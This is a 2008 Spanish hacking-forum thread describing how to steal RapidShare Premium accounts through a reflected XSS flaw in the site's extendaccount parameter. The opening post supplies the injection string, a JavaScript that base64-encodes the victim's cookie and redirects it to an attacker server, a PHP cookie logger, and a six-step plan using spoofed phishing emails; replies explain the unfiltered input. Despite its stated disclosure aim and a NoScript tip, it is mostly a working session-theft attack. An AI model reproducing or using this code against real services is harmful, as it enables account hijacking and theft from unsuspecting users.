hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
18 de Noviembre de 2008, 10:23:40
Noticias: ¿No te llega el email de confirmacion?
Para ver este enlace Registrate o Inicia Sesion
> leer aqui

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Bugs y Exploits (Moderadores: vengador de las sombras, >> s E t H <<)
| | |-+  Robando cuentas RapidShare mediante XSS
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Robando cuentas RapidShare mediante XSS  (Leído 428 veces)
fNiX
NZ5
*****
Desconectado Desconectado

Mensajes: 1,356


leet Mensajes 4Ever


Ver Perfil
« : 24 de Julio de 2008, 10:30:31 »

Los chicos de RapidShare andan perezosos para el tema de corregir los bugs de su portal, hace tiempo se avisó de una vulnerabilidad XSS que aun sigue en pie y no han corregido aun a fecha de este artículo. Mediante este Bug XSS se puede producir el robo de cuentas de usuario mediante extracción de las cookies de usuarios logueados en cuentas Rapidshare Premium, si un atacante roba una cookie lógicamente tendrá acceso a toda la cuenta, con poder para borrar los ficheros subidos, descargar lo que se quiera, cambiar la password de la cuenta, modificar el perfil,.. todo lo que se le ocurra.

Se recomienda cerrar las sesiones de Rapidshare cuando no se esté usando para evitar posibles problemas. También es muy recomendable el uso de extensiones para navegador encargadas de buscar e identificar ataques XSS, como es Noscript.

Para meter un poco de presión a los programadores de RapidShare y concienciar a los usuarios de la importancia que tiene corregir cuanto antes las vulnerabilidad es, vamos a explicar de forma sencilla y práctica como se pueden usar este tipo bugs con fines malintencionad os. Esta información NO deberá de ser usada de forma maligna para delinquir o dañar a terceros. No nos hacemos responsables de la mala interpretación ni del mal uso de dicha información.

Variable que permite XSS:


Para ver este enlace Registrate o Inicia Sesion
http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=


Si tenemos cuenta Premium mostrará la cookie en pantalla o en su defecto un cartel en blanco que avisa de da fe de la vulnerabilidad

...?extendaccount=123456%22%3E%3Cscript%3Ealert(document.cooki e)%3C/script%3E

NOTA: Fijémonos en que la cadena hexadecimal de la cookie es la password del usuario!, en el ejemplo de la imagen la password es busindre.com. Este es otro error de seguridad garrafal, jamas se debe poner la clave del usuario en la cookie y mucho menos en claro o mal cifrada.

¿Una vez descubierta la inyección XSS, como la aprovecho?

Lo más común es que determinadas paginas web maliciosas, que suelen ofrecer contenidos del tipo porno, programas gratis, cracks, seriales... inserten algún tipo de código javascript que mediante el uso de iframes roben las password, eso produce que un usuario logueado en Rapidshare Premium regale su cookie al visitar esa página con código malicioso, es la técnica más común. Otra forma es explotar el robo de cuentas mediante SPAM, mandando mails a usuarios de Rapidshare con links engañosos que permitan el robo de la cookie, este es método que comentaremos para nuestra prueba de concepto.

¿Que necesitamos para la prueba de concepto?

Vamos a usar dos ficheros, un programa en javascript y un fichero PHP. De lo que consiste todo esto es que el código javascript lo insertemos mediante la vulnerabilidad XSS para que pase a formar parte del código de la web de Rapidshare. Este código al ejecutarse en el navegador de un usuario logueado como usuario premium le robara el contenido de la cookie, la encriptará en base 64 y se la mandará otro fichero php que es el encargado de guardar las cookies robadas. Lo de encriptar la cookie es con fines de ofuscación de la URL.

Un script en javascript:

Citar
JavaScript:
var Base64 = {

// private property
_keyStr : "ABCDEFGHIJKLMN OPQRSTUVWXYZab cdefghijklmnop qrstuvwxyz0123 456789+/=",

// public method for encoding
encode : function (input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;

input = Base64._utf8_e ncode(input);

while (i <input.length) {

chr1 = input.charCode At(i++);
chr2 = input.charCode At(i++);
chr3 = input.charCode At(i++);

enc1 = chr1>> 2;
enc2 = ((chr1 & 3) <<4) | (chr2>> 4);
enc3 = ((chr2 & 15) <<2) | (chr3>> 6);
enc4 = chr3 & 63;

if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}

output = output +
this._keyStr.c harAt(enc1) + this._keyStr.c harAt(enc2) +
this._keyStr.c harAt(enc3) + this._keyStr.c harAt(enc4);

}

return output;
},

// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;

input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

while (i <input.length) {

enc1 = this._keyStr.i ndexOf(input.charAt(i++));
enc2 = this._keyStr.i ndexOf(input.charAt(i++));
enc3 = this._keyStr.i ndexOf(input.charAt(i++));
enc4 = this._keyStr.i ndexOf(input.charAt(i++));

chr1 = (enc1 <<2) | (enc2>> 4);
chr2 = ((enc2 & 15) <<4) | (enc3>> 2);
chr3 = ((enc3 & 3) <<6) | enc4;

output = output + String.fromCha rCode(chr1);

if (enc3 != 64) {
output = output + String.fromCha rCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCha rCode(chr3);
}

}

output = Base64._utf8_d ecode(output);

return output;

},

// private method for UTF-8 encoding
_utf8_encode : function (string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";

for (var n = 0; n <string.length; n++) {

var c = string.charCod eAt(n);

if (c <128) {
utftext += String.fromCha rCode(c);
}
else if((c> 127) && (c <2048)) {
utftext += String.fromCha rCode((c>> 6) | 192);
utftext += String.fromCha rCode((c & 63) | 128);
}
else {
utftext += String.fromCha rCode((c>> 12) | 224);
utftext += String.fromCha rCode(((c>> 6) & 63) | 128);
utftext += String.fromCha rCode((c & 63) | 128);
}

}

return utftext;
},

// private method for UTF-8 decoding
_utf8_decode : function (utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;

while ( i <utftext.length ) {

c = utftext.charCo deAt(i);

if (c <128) {
string += String.fromCha rCode(c);
i++;
}
else if((c> 191) && (c <224)) {
c2 = utftext.charCo deAt(i+1);
string += String.fromCha rCode(((c & 31) <<6) | (c2 & 63));
i += 2;
}
else {
c2 = utftext.charCo deAt(i+1);
c3 = utftext.charCo deAt(i+2);
string += String.fromCha rCode(((c & 15) <<12) | ((c2 & 63) <<6) | (c3 & 63));
i += 3;
}

}

return string;
}

}

document.locat ion='
Para ver este enlace Registrate o Inicia Sesion)

 

Como vemos le pasa el contenido de la cookie robada al fichero cookie.php (Después de encriptarla).

Un fichero PHP:

    <?php
    $cookie=$_GET['c00k']; #Hacemos un Get xD
    $triki=fopen("co0kies.txt",'a'); #Abrimos el archivo co0kies.txt
    fwrite($triki, "Cookie: \n ".htmlentities($cookie)."\n\n------------------------------------\n\n"); #Guardamos la cookie en el txt
    fclose($triki); #Cerramos el archivo
    echo "$cookie";
    #Redireccionamos
    ?>

Este fichero recibe la variable c00k con el contenido de la cookie robada, guardándola en un fichero llamado co0kies.txt

Una vez vistos los dos ficheros, la técnica consiste en estos 6 pasos:

1) Subir esos dos ficheros a un servidor.

2) Crear un link que use XSS para insertar el código javascript mostrado anteriormente y alojado en el servidor.

3) Mandar un email falseando la dirección de origen y un mensaje que invite a visitar el link creado anteriormente.

4) El usuario lee el correo y pulsa el link.

5) Al visitar el link dicho código javascript se ejecuta enviándole la información al fichero PHP que guardará la cookie en un fichero de texto.

6) Desencriptar la información obtenida en base64.

Ejemplo de Link:
JavaScript:

Para ver este enlace Registrate o Inicia Sesion"><script src=http://www.busindre.com/xss/cookie.js'>

NOTA: Se debe convertir la USL en hexadecimal para poder realizar la inserción XSS. Dejamos un vídeo donde se encuentra el proceso de ataque 100% real donde usamos lo que anteriormente vimos en el artículo.

Vídeo de la prueba de concepto:
Para ver este enlace Registrate o Inicia Sesion
http://fanatika.es/rapidshare_hack.swf


Fuente:
Por Busindre

Para ver este enlace Registrate o Inicia Sesion
http://www.busindre.com/
En línea


HolyKnight
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,340


"La casa esta en orden, Felices Pascuas!".


Ver Perfil WWW
« Respuesta #1 : 24 de Julio de 2008, 10:36:48 »

interesante, increible que estas grandes empresas dejen al descubierto bugs asi sin parchearlos.
En línea

Holyknight informa que no habrá ningun tipo de tolerancia frente a los post que incumplan las reglas

Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion
Se Buscan escritores para la Nueva E-Zine de Hacker x Siempre


Para ver este enlace Registrate o Inicia Sesion
Aprende a programar en batch
---
Para ver este enlace Registrate o Inicia Sesion
Descarga el Day of Defeat Full
---
Para ver este enlace Registrate o Inicia Sesion
FAQ de Batch


"El amor auténtico, el amor ideal, el amor del alma, es el que sólo desea la felicidad de la persona amada sin exigirle en pago nuestra propia felicidad."

Para ver este enlace Registrate o Inicia Sesion
Eh vos! si vos! el que esta leyendo esto... Hace click aca y visita mi Blog
>> s E t H <<
Moderador
*****
Desconectado Desconectado

Mensajes: 1,686


si te gusta, en mi firma esta su direccion!


Ver Perfil WWW
« Respuesta #2 : 24 de Julio de 2008, 10:39:13 »

hace 20 min me entere del bug

me parece que te olvidaste de alguna imagen.. y estaria bueno que explique xq se da el bug pero bueno.. para robar sirve xD
En línea


Para ver este enlace Registrate o Inicia Sesion
MI FIRMA Tongue


 |
Para ver este enlace Registrate o Inicia Sesion
Indice de posts interesantes de VB... manuales, guias, dudas, etc
|
Para ver este enlace Registrate o Inicia Sesion
Libreria de código en VB!
|
Para ver este enlace Registrate o Inicia Sesion
IDE's, compiladores, interpretes, etc!
|

Trunx0z Crypter 0.3: 85%
Interprete de brainfuck: 75%
Trunx0z downloader 0.1: 100%


Para ver este enlace Registrate o Inicia Sesion
¡ENTRA EN MI BLOG O TE JUANKEO!



Para ver este enlace Registrate o Inicia Sesion
EL MSN DE  LA DE MI AVATAR
vengador de las sombras
Moderador
*****
Desconectado Desconectado

Mensajes: 992


Fl4m1ng 0ur SkillZ TeaM


Ver Perfil
« Respuesta #3 : 24 de Julio de 2008, 11:18:11 »

hace 20 min me entere del bug

me parece que te olvidaste de alguna imagen.. y estaria bueno que explique xq se da el bug pero bueno.. para robar sirve xD

El bug se da por no hacer un correcto filtrado de la variable de tipo GET extendaccount, es decir, podemos introducir código HTML o de Scripts webs (VBScript, JavaScript, etc) y lo da por válido. Si se introduce un código normal, (el 123456 que pone en el post de arriba) en el código fuente se observa que:

Citar
<form method="post" onsubmit="return check();">

    <input type="hidden" name="extendaccount" value="123456">
    <input type=hidden id="monate" name="days" value=0>
    <h2>User information</h2>
    <table style="text-align:left;" width="100%">
        <tr>

  Fijaros en el campo VALUE="codigo que introduzco">. Al no filtrar los tags ni las comillas nosotros podemos introducir en la variable correcta, seguida de una clausura del tag (">) y el código malicioso. Así al introducir la inyección de prueba, el código fuente queda tal que así:

Citar
<form method="post" onsubmit="return check();">

    <input type="hidden" name="extendaccount" value="123456"><script>alert(61)</script>">
    <input type=hidden id="monate" name="days" value=0>
    <h2>User information</h2>
    <table style="text-align:left;" width="100%">
        <tr>
En código rojo encontramos la parte maliciosa. Es igual que cualquier otro XSS, Seth si eso mírate algún manual de los que hay en las FAQs
En línea


Para ver este enlace Registrate o Inicia Sesion
Overload in the Net (Mi blog)

-----------------------------------------

Para ver este enlace Registrate o Inicia Sesion
----------------------------
Fl4m1ng 0ur sk1llZ
>> s E t H <<
Moderador
*****
Desconectado Desconectado

Mensajes: 1,686


si te gusta, en mi firma esta su direccion!


Ver Perfil WWW
« Respuesta #4 : 24 de Julio de 2008, 01:03:42 »

vengador, yo ya sabia eso xD

yo lo decia xq si alguien leia lo primero asi tmb sabe xq se da el bug
En línea


Para ver este enlace Registrate o Inicia Sesion
MI FIRMA Tongue


 |
Para ver este enlace Registrate o Inicia Sesion
Indice de posts interesantes de VB... manuales, guias, dudas, etc
|
Para ver este enlace Registrate o Inicia Sesion
Libreria de código en VB!
|
Para ver este enlace Registrate o Inicia Sesion
IDE's, compiladores, interpretes, etc!
|

Trunx0z Crypter 0.3: 85%
Interprete de brainfuck: 75%
Trunx0z downloader 0.1: 100%


Para ver este enlace Registrate o Inicia Sesion
¡ENTRA EN MI BLOG O TE JUANKEO!



Para ver este enlace Registrate o Inicia Sesion
EL MSN DE  LA DE MI AVATAR
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online